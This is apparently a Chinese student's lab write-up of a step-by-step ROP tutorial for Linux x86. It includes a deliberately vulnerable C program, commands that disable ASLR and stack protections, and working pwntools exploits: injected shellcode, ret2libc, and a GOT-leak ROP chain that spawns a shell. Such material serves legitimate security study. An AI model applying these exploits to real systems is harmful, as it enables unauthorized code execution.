文章:一步一步学 ROP 之 Linux_x86 篇 - 阿里聚安全 - SegmentFault 思否
实验代码: zhengmin1989/ROP_STEP_BY_STEP: 一步一步学ROP (github.com)
注意:
- 因为做过修改, 所以命令行的目录路径可能不同, 但是gcc主要的编译参数没有问题.
Control Flow Hijack (控制流劫持)
常见的CFH:
- 栈溢出
- 格式化字符串攻击
- 堆溢出
常见的防御方法:
- DEP(堆栈不可执行)
- ASLR(内存地址随机化)
- Stack Protector(栈保护)
实验代码
该实验没有防护措施, 可以直接攻击
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
编译
编译指令, 关于两个保护:
- 栈溢出保护: Canary在栈中保存一个特殊值, 监视栈是否溢出
- 堆栈禁止执行: 在CPU层面上启用, 将某些内存区域标记为不可执行.
gcc -fno-stack-protector -z execstack -o level1 level1.c
| |
关闭栈溢出保护 关闭堆栈禁止执行
关闭当前Linux系统的ASLR保护
sudo -s
功能:
echo 0 > /proc/sys/kernel/randomize_va_space
exit
需要指出的randomize_va_space的功能, 这个文件本质上相当于一个变量, 用于开关ASLR, 变量值就是文件内容, 总共有三种模式:
- 0 = 关闭
- 1 = 半随机. 共享库, 栈, mmap()以及VDSO将被随机化
- 2 = 全随机. 在1的基础上加入了堆随机化.
参考: Linux下关闭ASLR(地址空间随机化)的方法_linux关闭地址随机化-CSDN博客
最终的编译指令 (注意由于WSL是x64环境, 所以编译选项中还需要添加-m32来显式指出编译为32位程序.)
gcc -fno-stack-protector -z execstack -m32 -no-pie level1.c -o level1
运行 & 确定偏移点
pattern.py
实验提供pattern.py代码, 需要使用python2运行.
pattern.py使用说明:
-
python2 pattern.py create 150
- 生成长度 = 150的测试字符串
-
python2 pattern.py offset 0x11111111
- 根据内存出错地址判断返回地址的栈偏移, 返回的值就是要填充的长度
确定偏移点
使用pattern.py生成字符串
python3 pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
运行程序, 并使用字符串. 返回地址被字符串覆盖, 返回到一个非法地址0x37654136
pwndbg> run │
Starting program: /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1 │
[Thread debugging using libthread_db enabled] │
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". │
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A│
d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 │
│
Program received signal SIGSEGV, Segmentation fault. │
0x37654136 in ?? ()
再使用pattern.py识别返回地址, 并确定填充长度
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ python2 pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140
构造shellcode
由于程序中没有现成的函数调用execve("/bin/sh")
, 所以需要自己构造shellcode.
生成shellcode的方式:
- Metasploit Framework(MSF)生成
- 自行构造并反编译
- 在Shell-Storm上查找shellcode
shellcode1
教程中给出的shellcode解析
#execve ("/bin/sh")
xor ecx, ecx # ecx = 0
mul ecx # ecx自乘, 0 * 0 = 0, eax = 0
push ecx # 压入一个00 00 00 00 作为字符串的'\0'
push 0x68732f2f # 压入字符串
push 0x6e69622f # 压入字符串
mov ebx, esp # 字符串指针作为参数1
mov al, 11 # 调用号
int 0x80 # 系统调用
payload的大致分布
[shellcode]["AAAAAAAAAA..."][ret_address]
^---------------------------------------|
确定payload偏移
由于栈的内存分布在不同的环境下不同, 所以调试下栈的分布与未调试的栈分布不同. 如果想要执行shellcode, 就需要ret_address返回到正确的字符串头地址.
开启core dump
在未调试的情况下开启Core Dump环境
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
然后运行程序, 并字符串覆盖返回地址, 构成内存错误, 此时会生成core文件.
注意: 这个内存错误必须是直接执行时触发, 而不是在调试的时候触发. (否则core dump下来的还是调试时的栈地址)
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ ./level1
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
gdb调试core文件
$ gdb level1 /tmp/core.1695222277
计算栈空间: 由于retn
实际上是pop eip
, 所以ESP指针在返回地址的下面. 所以字符串的起始地址 = $esp - 144
---------------
|
|
填充的140个字节
|
|
---------------
返回地址 (4字节)
--------------- --> ESP
使用gdb查看内存数据, 发现了特征字符串头, 也确定了ret_address = 0xffc7c700
pwndbg> x/10s $esp - 144 │
0xffc7c700: "ABCD", 'A' <repeats 149 times>, "\n\361\367\031\205\313\367\241\312\307\377p" │
0xffc7c7a6: "" │
0xffc7c7a7: "" │
0xffc7c7a8: "" │
0xffc7c7a9: "P\361\367\031\205\313\367\001" │
0xffc7c7b2: "" │
0xffc7c7b3: "" │
0xffc7c7b4: "d\310\307\377l\310\307\377\320\307\307\377" │
0xffc7c7c1: "\020\354\367\273\221\004\b\001" │
0xffc7c7ca: "" │
pwndbg>
重新确定ret_address
看错了core文件 (看成了调试的core文件), 导致ret_address一直都是错误的.
ret_address = 0xffffc7b0
pwndbg> x/10s $esp - 144 │
0xffffc7b0: '1' <repeats 30 times>, 'A' <repeats 110 times>, "2222\n\310\377\377" │
0xffffc845: "\220\372\367 \320\377\367\031\005\332\367\215\312\377\377p" │
0xffffc856: "" │
0xffffc857: "" │
0xffffc858: "" │
0xffffc859: "\320\377\367\031\005\332\367\001" │
0xffffc862: "" │
0xffffc863: "" │
0xffffc864: "\024\311\377\377\034\311\377\377\200\310\377\377" │
0xffffc871: "\220\372\367\273\221\004\b\001"
第二次回顾记录
在第二次回顾实验的时候发现, 直接运行level1触发内存异常的core文件的栈地址仍然与pwntools中运行的栈地址不同. 需要在运行pwntools后查看对应的core文件才行.
正常运行level1的core
使用pwntools运行level1的core
所以正确的retaddress = 0xffffc1f0
编写exploit
from pwn import *
conn = process("./level1")
ret = 0xffffc7b0 # first time
ret = 0xffffc1f0 # second time
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"
payload = shellcode + b'A' * (140 - len(shellcode)) + p32(ret)
conn.sendline(payload)
conn.interactive()
Ret2libc - Bypass DEP (通过ret2libc绕过DEP防护)
- DEP(Data Execution Prevention): 即数据执行保护. 软件级别的DEP保护有NX保护, 即限制特定内存不可执行, 比如说堆栈不可执行.
思路总结
前置条件:
╭─lamecrow@LAPTOP-PUE31HT9 ~/code/c/pwn/zm_rop/lab2
╰─$ checksec level2
[*] '/home/lamecrow/code/c/pwn/zm_rop/lab2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- Stack's canary: 关闭
- NX: 开启
- PIE: 关闭
- 程序中没有出现system函数和字符串
流程:
- 找到溢出点 (因为无需使用shellcode, 直接可以跳转到system, 所以不需要找到在堆栈中的起始地址, payload构造起来也相对简单些)
- gdb调试, print命令找到system的函数地址
- gdb调试, search命令找到"/bin/sh"字符串地址
- 确定system的返回地址, 一般是随意的
- 构造payload:
填充 + (当前函数返回地址 -> system) + (system函数返回地址 -> 任意地址) + (参数 -> "/bin/sh"字符串地址)
实验代码
实验代码不变, 只在编译时开启NX保护
gcc -fno-stack-protector
确定ret_address
因为重新编译过, 输入字符串在栈中的位置会发生改变, 所以需要重新校准.
首先输入字符串覆盖返回地址, 造成内存错误, 并生成coredump文件.
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ ./level2
111111111111111111111111111111AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2222 Segmentation fault (core dumped)
然后使用gdb调试, 查看字符串起始地址, 也就是ret_address的值
pwndbg> x /10bx $esp - 144 │
0xffffd2b0: 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 │
0xffffd2b8: 0x31 0x31
修改后的exploit.py
1 from pwn import *
2
3 conn = process("./level2")
4
5 # level2
6 ret = 0xffffd2b0
7
8 shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
9 shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
10 shellcode += b"\x0b\xcd\x80"
11
12 payload = shellcode + b'A' * (140 - len(shellcode)) + p32(ret)
13
14 #pause()
15
16 conn.sendline(payload)
17
18 conn.interactive()
运行该脚本, 得到错误输出, 信号是SIGSEGV, 说明是访问了非法的内存, 也就是执行了没有执行权限的栈内存.
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ python3 exploit.py
[+] Starting local process './level2': pid 30225
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 30225) [*] Got EOF while sending in interactive
验证NX保护
level2栈权限
在exploit中使用pause(), 暂停进程并记录PID
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ python3 exploit.py
[+] Starting local process './level2': pid 1200
[*] Paused (press any to continue)
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ exit
[*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 1200)
[*] Got EOF while sending in interactive
然后查看该进程的内存映射, 最后一行stack的内存权限是: 可读可写且为私有段(s表示共享段), 但是不可执行.
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ sudo cat /proc/1200/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
08049000-0804a000 r-xp 00001000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804a000-0804b000 r--p 00002000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804b000-0804c000 r--p 00002000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804c000-0804d000 rw-p 00003000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
f7d7f000-f7d9f000 r--p 00000000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7d9f000-f7f21000 r-xp 00020000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f21000-f7fa6000 r--p 001a2000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa6000-f7fa7000 ---p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa7000-f7fa9000 r--p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa9000-f7faa000 rw-p 00229000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7faa000-f7fb4000 rw-p 00000000 00:00 0
f7fbe000-f7fc0000 rw-p 00000000 00:00 0
f7fc0000-f7fc4000 r--p 00000000 00:00 0 [vvar]
f7fc4000-f7fc6000 r-xp 00000000 00:00 0 [vdso]
f7fc6000-f7fc7000 r--p 00000000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fc7000-f7fec000 r-xp 00001000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fec000-f7ffb000 r--p 00026000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffb000-f7ffd000 r--p 00034000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffd000-f7ffe000 rw-p 00036000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
为了验证, 重复上述步骤查看level1的stack
level1栈权限
首先添加pause(), 并运行exploit.py
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ python3 exploit.py
[+] Starting local process './level1': pid 12907
[*] Paused (press any to continue)
然后查看其maps文件, 最后一行的stack的内存权限是: 可执行
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ sudo cat /proc/12907/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
08049000-0804a000 r-xp 00001000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804a000-0804b000 r--p 00002000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804b000-0804c000 r--p 00002000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804c000-0804d000 rw-p 00003000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
f7d7f000-f7d9f000 r--p 00000000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7d9f000-f7f21000 r-xp 00020000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f21000-f7fa6000 r--p 001a2000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa6000-f7fa7000 ---p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa7000-f7fa9000 r--p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa9000-f7faa000 rw-p 00229000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7faa000-f7fb4000 rw-p 00000000 00:00 0
f7fbe000-f7fc0000 rw-p 00000000 00:00 0
f7fc0000-f7fc4000 r--p 00000000 00:00 0 [vvar]
f7fc4000-f7fc6000 r-xp 00000000 00:00 0 [vdso]
f7fc6000-f7fc7000 r--p 00000000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fc7000-f7fec000 r-xp 00001000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fec000-f7ffb000 r--p 00026000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffb000-f7ffd000 r--p 00034000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffd000-f7ffe000 rw-p 00036000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
fffdd000-ffffe000 rwxp 00000000 00:00 0 [stack]
思路梳理
-
当前问题: 无法在堆栈中执行代码, 而字符串也是用push的方式存入堆栈的, 所以当前面临两个困境
- 无法执行system
- 没有"/bin/sh字符串"
-
解决: level2调用了libc.so库, 并且libc.so保存了大量可利用函数(解决问题一), 如果可以让程序执行system("/bin/sh"), 也可以获取shell.
如果关闭ASLR(数据段地址随机化), system()函数在内存中的地址不会发生变化, 并且libc.so中也包含了"/bin/sh"字符串, 并且这个字符串的地址也是固定的.
find system & "/bin/sh"
使用gdb调试level2, 在main函数处下一个断点, 因为libc动态库需要程序运行时才加载到程序内存中, 在程序运行到main函数时libc已经加载完成.
------- tip of the day (disable with set show-tips off) ------- │
Disable Pwndbg context information display with set context-sections '' │
pwndbg> break main │
Breakpoint 1 at 0x80491ca │
pwndbg> run │
Starting program: /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2 │
[Thread debugging using libthread_db enabled] │
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". │
│
Breakpoint 1, 0x080491ca in main () │
使用print打印对应符号的信息, 找到了system函数的地址
pwndbg> print system │
$3 = {int (const char *)} 0xf7dc7150 <__libc_system>
使用search全局搜索, 找到"/bin/sh"字符串
pwndbg> search -t string /bin/sh │
Searching for value: b'/bin/sh\x00' │
libc.so.6 0xf7f3c0f5 '/bin/sh'
编写Exploit
1 from pwn import *
2
3 conn = process("./level2")
4
5 system = 0xf7dc7150
6 ret = 0xdeadbeef
7 shell = 0xf7f3c0f5
8
9 payload = b'A' * 140 + p32(system) + p32(ret) + p32(shell)
10
11 conn.sendline(payload)
12
13 conn.interactive()
为什么payload要这样排布, 应该代入到调用system的上下文中:
- 首先会将字符串参数压入栈中, 所以"/bin/sh"的地址会在最下方
- 然后call指令会将返回地址压入栈中, 所以倒数第二个是最终的返回地址, 但是已经调用system创建子进程了, 所以父进程的返回地址就无所谓了, 可以随意构造
- 然后最上方的system地址是retn的返回地址, 在retn后实际上是pop了一次, 所以esp会推到ret处, 再观察栈中内容, 会发现和call后的栈内容一样 (特别是返回地址, 字符串参数的偏移是没有错误的) , 所以后续system不论是获取参数还是返回都是正常的.
ROP - Bypass DEP and ASLR (通过ROP绕过DEP和ASLR)
- ASLR(数据地址随机化): 在checksec中叫做PIE(Position-Independent Executable).
实验代码
仍然是level1.c, 打开ASLR保护
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
编译命令
gcc -fno-stack-protector -m32 -no-pie ../lab1/level1.c -o level3
|
不加上的话程序本身的虚拟地址也是随机的
使用checksec查看安全属性
╭─lamecrow@LAPTOP-PUE31HT9 ~/code/c/pwn/zm_rop/lab3
╰─$ checksec level3
[*] '/home/lamecrow/code/c/pwn/zm_rop/lab3/level3'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
验证ASLR
测试level2的exploit脚本
无法获取shell
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ python3 exploit.py
[+] Starting local process './level3': pid 9736
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './level3' stopped with exit code -11 (SIGSEGV) (pid 9736)
[*] Got EOF while sending in interactive
debug脚本
编写一个测试用的pwntools脚本
1 from pwn import *
2
3 conn = process("./level3")
4
5 payload = b'A'
6
7 pause()
8
9 conn.sendline(payload)
10
11 conn.interactive()
进程1地址空间
然后查看其maps文件
lamecrow@LAPTOP-PUE31HT9:/mnt/c/Users/17495$ sudo cat /proc/19314/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
08049000-0804a000 r-xp 00001000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804a000-0804b000 r--p 00002000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804b000-0804c000 r--p 00002000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804c000-0804d000 rw-p 00003000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
f7d2e000-f7d4e000 r--p 00000000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7d4e000-f7ed0000 r-xp 00020000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7ed0000-f7f55000 r--p 001a2000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f55000-f7f56000 ---p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f56000-f7f58000 r--p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f58000-f7f59000 rw-p 00229000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f59000-f7f63000 rw-p 00000000 00:00 0
f7f6d000-f7f6f000 rw-p 00000000 00:00 0
f7f6f000-f7f73000 r--p 00000000 00:00 0 [vvar]
f7f73000-f7f75000 r-xp 00000000 00:00 0 [vdso]
f7f75000-f7f76000 r--p 00000000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f76000-f7f9b000 r-xp 00001000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f9b000-f7faa000 r--p 00026000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7faa000-f7fac000 r--p 00034000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fac000-f7fad000 rw-p 00036000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
ffe75000-ffe97000 rw-p 00000000 00:00 0 [stack]
进程2地址空间
动态库与进程1的地址空间不同, 但是level3程序本身在虚拟内存中的位置是固定的.
lamecrow@LAPTOP-PUE31HT9:/mnt/c/Users/17495$ sudo cat /proc/19863/maps
08048000-08049000 r--p 00000000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
08049000-0804a000 r-xp 00001000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804a000-0804b000 r--p 00002000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804b000-0804c000 r--p 00002000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804c000-0804d000 rw-p 00003000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
f7cff000-f7d1f000 r--p 00000000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7d1f000-f7ea1000 r-xp 00020000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7ea1000-f7f26000 r--p 001a2000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f26000-f7f27000 ---p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f27000-f7f29000 r--p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f29000-f7f2a000 rw-p 00229000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f2a000-f7f34000 rw-p 00000000 00:00 0
f7f3e000-f7f40000 rw-p 00000000 00:00 0
f7f40000-f7f44000 r--p 00000000 00:00 0 [vvar]
f7f44000-f7f46000 r-xp 00000000 00:00 0 [vdso]
f7f46000-f7f47000 r--p 00000000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f47000-f7f6c000 r-xp 00001000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f6c000-f7f7b000 r--p 00026000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f7b000-f7f7d000 r--p 00034000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f7d000-f7f7e000 rw-p 00036000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
fff89000-fffab000 rw-p 00000000 00:00 0
ASLR破解思路
- 首先泄漏libc.so某些函数在内存中的地址
- 根据泄漏的函数地址 + 偏移量计算出system()函数和"/bin/sh"字符串在内存中的地址
- 栈, libc, heap的地址都是随机的, 但是程序的内存地址是固定的 (这个在maps文件中也体现了, 观察上面的两个maps文件, 发现对level3的映射是固定的)
- 可以通过GOT表找到write()函数地址, 然后根据固定的偏移找到system()函数
使用objdump查看PLT信息
查看objdump的plt表反汇编数据, 因为system和read, write都位于libc中, 属于导入函数, 需要使用plt表, 所以首先查看plt表的信息.
由于程序本身没有调用system, 可以先找到write(read也行)函数的地址, 然后通过固定的偏移找到system()函数.
这里涉及到了延时绑定技术, 在CSAPP和程序员的自我修养中都有提到, CSAPP较为简洁, 但是也够用了.
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ objdump -d -j .plt level3
level3: file format elf32-i386
Disassembly of section .plt:
08049030 <__libc_start_main@plt-0x10>: // 特殊条目, 用来跳转到动态连接器中. 所以它没有符号, 而是用__libc_start_main@plt加上一个偏移值表示
8049030: ff 35 04 c0 04 08 push 0x804c004
8049036: ff 25 08 c0 04 08 jmp *0x804c008
804903c: 00 00 add %al,(%eax)
...
08049040 <__libc_start_main@plt>:
8049040: ff 25 0c c0 04 08 jmp *0x804c00c
8049046: 68 00 00 00 00 push $0x0
804904b: e9 e0 ff ff ff jmp 8049030 <_init+0x30>
08049050 <read@plt>:
8049050: ff 25 10 c0 04 08 jmp *0x804c010
8049056: 68 08 00 00 00 push $0x8
804905b: e9 d0 ff ff ff jmp 8049030 <_init+0x30>
08049060 <write@plt>:
8049060: ff 25 14 c0 04 08 jmp *0x804c014
8049066: 68 10 00 00 00 push $0x10
804906b: e9 c0 ff ff ff jmp 8049030 <_init+0x30>
查看链接信息
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ ldd level3
linux-gate.so.1 (0xf7f36000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cf1000)
/lib/ld-linux.so.2 (0xf7f38000)
找到动态库文件后, 将其复制到当前文件夹, 方便后续使用.
编写exploit
分步解析exploit.py文件
1 from pwn import *
2
3 libc = ELF("libc.so")
4 elf = ELF("level3")
5
6 conn = process("./level3")
7
8 # 打印PLT表中, write()函数对应的条目地址
9 # 打印出来的地址可以到objdump中验证, 可以发现与PLT表中对应条目的地址相同
10 plt_write = elf.symbols['write']
11 print('plt_write = ' + hex(plt_write))
12
13 # 打印GOT表中, write()函数对应的地址
14 # 打印出来的地址可以到objdump中验证, 与PLT表中第一个JMP的跳转地址相同
15 got_write = elf.got['write']
16 print('got_write = ' + hex(got_write))
17
18 # vulnable_function()的地址通过gdb或IDA查看
19 vulfun_addr = 0x08049186
20 print('vulfun = ' + hex(vulfun_addr))
21
22 # 填充 + 目标函数地址 + 返回地址 + 参数列表(1, got_write地址, 4)
23 # 实际上就是调用了write(1, got_write绝对地址, 4), 把运行中的write()绝对地址输出到std_out中, 这样就可以接收得知函数地址
24 payload1 = b'a' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write) + p32(4)
25
26 # 输入payload
27 print("\n###sending payload1...###")
28 conn.send(payload1)
29
30 # 通过write()函数, 标准输出了write(()函数的绝对地址
31 print("\n###receving write() addr...###")
32 write_addr = u32(conn.recv(4))
33 print('write_addr = ' + hex(write_addr))
34
35 print("\n###calculating system() addr and \"/bin/sh\" addr...###")
36
37 # 首先获取库基址, 然后再加上system的偏移, 得到了实际system()的实际地址
38 system_addr = write_addr - libc.symbols['write'] + libc.symbols['system']
39 print('system_addr = ' + hex(system_addr))
40
41 # 搜索elf文件libc库, 与上面同理
42 binsh_addr = write_addr - libc.symbols['write'] + next(libc.search(b'/bin/sh'))
43 print('binsh_addr = ' + hex(binsh_addr))
44
45 # 由于上一次payload最终又返回了vulfun, 所以又再一次读取, 这一次构造system调用和sh的 字符串地址
46 payload2 = b'a' * 140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
47
48 print("\n###sending payload2...###")
49 conn.send(payload2)
50
51 conn.interactive()